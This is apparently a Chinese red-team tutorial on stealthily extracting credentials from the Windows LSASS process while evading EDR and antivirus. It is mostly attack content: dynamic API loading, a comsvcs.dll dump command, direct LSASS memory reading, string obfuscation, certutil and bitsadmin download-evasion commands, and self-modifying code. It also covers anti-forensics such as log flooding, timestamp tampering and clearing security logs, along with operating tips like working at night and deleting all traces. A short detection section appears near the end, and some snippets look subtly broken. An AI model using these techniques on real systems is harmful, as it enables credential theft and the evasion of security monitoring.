1. 项目背景与核心价值
在安全攻防对抗中,攻击方常需要获取系统敏感凭据(如Lsass进程内存中的密码哈希),而防守方则通过各类安全产品(如EDR、AV)监控此类高危操作。传统凭据提取工具(如Mimikatz)早已被安全软件标记为恶意特征,直接使用无异于"裸奔"。本项目探讨的正是如何通过动态行为绕过、源头特征混淆等技术,在保持核心功能的前提下,实现更隐蔽的凭据获取操作。
核心突破点在于:
- 动态绕过:通过运行时行为调整规避静态检测
- 源头混淆:变异工具特征使其难以被规则匹配
- 合法工具滥用:利用Certutil等系统自带工具实现下载功能
这种"轻量化对抗"思路,既保留了攻击效能,又大幅降低了被检测概率,是红队实战中提升隐蔽性的关键技术。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 技术原理深度解析
2.1 Lsass进程凭据提取原理
Windows系统将登录凭据(包括明文密码、NTLM哈希等)加密后存储在Lsass进程内存中。传统提取方式是通过MiniDumpWriteDump API对Lsass进程进行内存转储,然后解析dump文件获取凭据。安全软件的防御手段主要包括:
- API调用监控:检测对
MiniDumpWriteDump的调用 - 进程行为分析:监控Lsass进程的异常内存读取
- 工具特征检测:识别已知凭据提取工具(如Mimikatz的特定字符串)
2.2 动态绕过技术实现
2.2.1 间接API调用
通过延迟加载或动态获取API地址(如GetProcAddress)来调用敏感函数,避免导入表中出现高危API名称。典型实现:
cpp复制// 传统直接调用(易被检测)
MiniDumpWriteDump(hProcess, ProcessId, hFile, DumpType, NULL, NULL, NULL);
// 动态获取方式
typedef BOOL(WINAPI* pMiniDumpWriteDump)(
HANDLE hProcess,
DWORD ProcessId,
HANDLE hFile,
MINIDUMP_TYPE DumpType,
PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,
PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
PMINIDUMP_CALLBACK_INFORMATION CallbackParam
);
pMiniDumpWriteDump _MiniDumpWriteDump = (pMiniDumpWriteDump)GetProcAddress(
LoadLibrary("dbghelp.dll"),
"MiniDumpWriteDump"
);
2.2.2 行为时间分散
将敏感操作拆分为多个阶段执行,中间插入正常业务逻辑。例如:
- 第一阶段:仅打开Lsass进程句柄
- 间隔:执行正常的系统信息收集
- 第二阶段:创建内存转储文件
- 间隔:进行日志清理操作
- 第三阶段:读取并解析转储文件
2.3 Certutil下载变异技术
Certutil是Windows自带的证书管理工具,但其-urlcache参数可被用于文件下载。典型变异手法包括:
-
参数混淆:
batch复制:: 传统用法(易被检测) certutil -urlcache -split -f http://example.com/file.exe C:\temp\file.exe :: 变异用法 certutil /urlcache /split /f http://example.com/file.exe C:\temp\file.exe -
编码转换:
batch复制:: 将URL进行hex编码 certutil -urlcache -split -f hxxp://examp1e[.]com/file.exe C:\temp\file.exe -
分段下载:
batch复制:: 分多个小文件下载后合并 certutil -urlcache -split -f http://example.com/file.part1 certutil -urlcache -split -f http://example.com/file.part2 copy /b file.part1 + file.part2 final.exe
3. 实战操作指南
3.1 隐蔽式Lsass凭据提取
3.1.1 手工提取方案
-
获取Debug权限:
powershell复制# 需要管理员权限 whoami /priv | findstr "SeDebugPrivilege" if ($? -eq $false) { $proc = Get-Process -Id $PID $proc.Privileges += "SeDebugPrivilege" } -
创建转储文件:
powershell复制$lsass = Get-Process -Name lsass rundll32 C:\windows\system32\comsvcs.dll, MiniDump $lsass.Id C:\temp\lsass.dmp full -
离线解析(需专用工具):
bash复制# 使用自定义解析工具(避免使用mimikatz) ./lsass_parser lsass.dmp --output hashes.txt
3.1.2 内存直接读取方案
通过直接读取Lsass进程内存避免创建转储文件:
cpp复制HANDLE hProcess = OpenProcess(
PROCESS_VM_READ | PROCESS_QUERY_INFORMATION,
FALSE,
lsass_pid
);
MEMORY_BASIC_INFORMATION mbi;
LPVOID offset = 0;
while (VirtualQueryEx(hProcess, offset, &mbi, sizeof(mbi))) {
if (mbi.State == MEM_COMMIT && mbi.Protect != PAGE_NOACCESS) {
// 读取内存块并搜索凭据模式
SearchCredentialsInMemory(hProcess, mbi.BaseAddress, mbi.RegionSize);
}
offset = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize);
}
3.2 特征变异技术实现
3.2.1 字符串混淆
原始字符串:
cpp复制const char* sig = "Mimikatz";
变异方案:
-
分段拼接:
cpp复制char sig[9]; sig[0] = 'M'; sig[1] = 'i'; sig[2] = 'm'; sig[3] = 'i'; sig[4] = 'k'; sig[5] = 'a'; sig[6] = 't'; sig[7] = 'z'; sig[8] = '\0'; -
异或加密:
cpp复制char enc[] = {0x0D, 0x1A, 0x1B, 0x1A, 0x0F, 0x18, 0x1D, 0x16}; for(int i=0; i<8; i++) { enc[i] ^= 0x55; }
3.2.2 行为模式变异
原始行为流程:
- 打开Lsass进程
- 创建转储文件
- 读取转储文件
变异流程:
- 枚举所有进程获取基本信息
- 打开多个非敏感进程
- 短暂打开Lsass进程后立即关闭
- 创建临时文件(非dump扩展名)
- 延迟5分钟后写入转储数据
- 重命名文件为随机名称
4. 对抗检测进阶技巧
4.1 日志干扰技术
4.1.1 虚假日志注入
在执行敏感操作前后,生成大量正常操作日志:
powershell复制# 生成大量无害的日志记录
1..100 | ForEach-Object {
Get-Process | Out-Null
Get-Service | Out-Null
netstat -ano | Out-Null
}
4.1.2 日志时间篡改
修改操作时间戳(需SYSTEM权限):
cpp复制// 修改文件时间戳
FILETIME ft;
GetSystemTimeAsFileTime(&ft);
HANDLE hFile = CreateFile("lsass.dmp", FILE_WRITE_ATTRIBUTES, ...);
SetFileTime(hFile, &ft, &ft, &ft);
4.2 内存对抗技术
4.2.1 内存加密
敏感数据在内存中保持加密状态:
cpp复制// 使用RC4加密内存数据
void* pData = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE);
RC4(pKey, pData, size); // 加密
// 使用时临时解密
RC4(pKey, pData, size); // 解密
4.2.2 内存碎片化
将关键数据分散存储:
cpp复制// 分配多个小块内存
void* pParts[10];
for(int i=0; i<10; i++) {
pParts[i] = VirtualAlloc(NULL, 64, MEM_COMMIT, PAGE_READWRITE);
memcpy(pParts[i], &secret_data[i*64], 64);
}
5. 防御视角的检测方案
5.1 行为检测指标
| 检测点 | 正常行为特征 | 异常行为特征 |
|---|---|---|
| Lsass进程访问 | 仅由系统进程访问 | 非系统进程读取内存 |
| 进程创建链 | 从explorer.exe或服务管理器启动 | 从非常规父进程启动 |
| 文件操作序列 | 连续读写操作有合理时间间隔 | 短时间内创建、写入、重命名dump文件 |
| API调用频率 | 低频调用敏感API | 高频调用内存相关API |
5.2 高级检测技术
5.2.1 内存行为分析
监控进程对Lsass内存的访问模式:
- 正常访问:小范围、低频次读取
- 异常访问:大范围、高频次连续读取
5.2.2 证书工具异常检测
Certutil的正常使用特征:
- 参数数量通常≤3个
- 主要操作本地证书存储
- 不涉及网络连接
异常使用特征:
- 包含
-urlcache或-f参数 - 连接外部URL
- 短时间内多次执行
6. 实战经验与避坑指南
6.1 操作注意事项
-
权限控制:
- 避免直接使用Administrator账户操作
- 建议创建临时管理员账户,操作后立即删除
-
时间选择:
- 避免在业务高峰时段操作
- 周末或夜间执行更不易被发现
-
日志清理:
- 优先清除安全日志(EventLog)
- 注意清理Prefetch文件(C:\Windows\Prefetch)
6.2 常见问题排查
问题1:无法打开Lsass进程
现象:OpenProcess返回NULL
排查步骤:
- 检查是否具有SeDebugPrivilege
powershell复制whoami /priv | findstr "SeDebugPrivilege" - 确认Lsass进程PID是否正确
powershell复制Get-Process -Name lsass - 检查安全软件是否拦截了进程打开操作
问题2:Certutil下载被拦截
现象:下载失败或触发告警
解决方案:
- 尝试使用不同的参数格式
cmd复制
certutil /urlcache /split /f hxxp://example[.]com/file.exe - 使用替代工具(如bitsadmin)
powershell复制
bitsadmin /transfer job /download /priority normal http://example.com/file.exe C:\temp\file.exe - 分块下载后合并
powershell复制1..10 | % { certutil -urlcache -split -f http://example.com/file.part$_ }
6.3 工具自变异技巧
-
编译时变异:
- 每次编译使用不同的随机函数名
- 自动插入垃圾代码(不影响逻辑)
-
运行时变异:
cpp复制// 动态修改自身代码段 DWORD oldProtect; VirtualProtect(codeSection, size, PAGE_EXECUTE_READWRITE, &oldProtect); // 修改指令字节 codeSection[offset] ^= 0xFF; VirtualProtect(codeSection, size, oldProtect, &oldProtect); -
资源混淆:
- 将字符串存储在加密的资源段
- 使用时动态解密
7. 技术演进方向
当前主流EDR产品已开始采用以下检测技术:
- 内存扫描:定期扫描进程内存中的敏感数据模式
- 行为关联:将离散事件关联为攻击链
- 机器学习:检测异常工具使用模式
相应的对抗技术也在进化:
- 无文件攻击:完全在内存中操作
- 合法工具链:仅使用系统自带工具
- 低慢小:延长攻击时间降低频率
在实际对抗中,最有效的往往是简单技术组合:
- 使用Certutil下载小型Loader
- Loader仅实现最基本的内存操作
- 核心功能通过合法Windows API实现
- 操作完成后自我删除所有痕迹
这种"轻量化"攻击方式往往能绕过大多数基于规则和特征的检测系统。
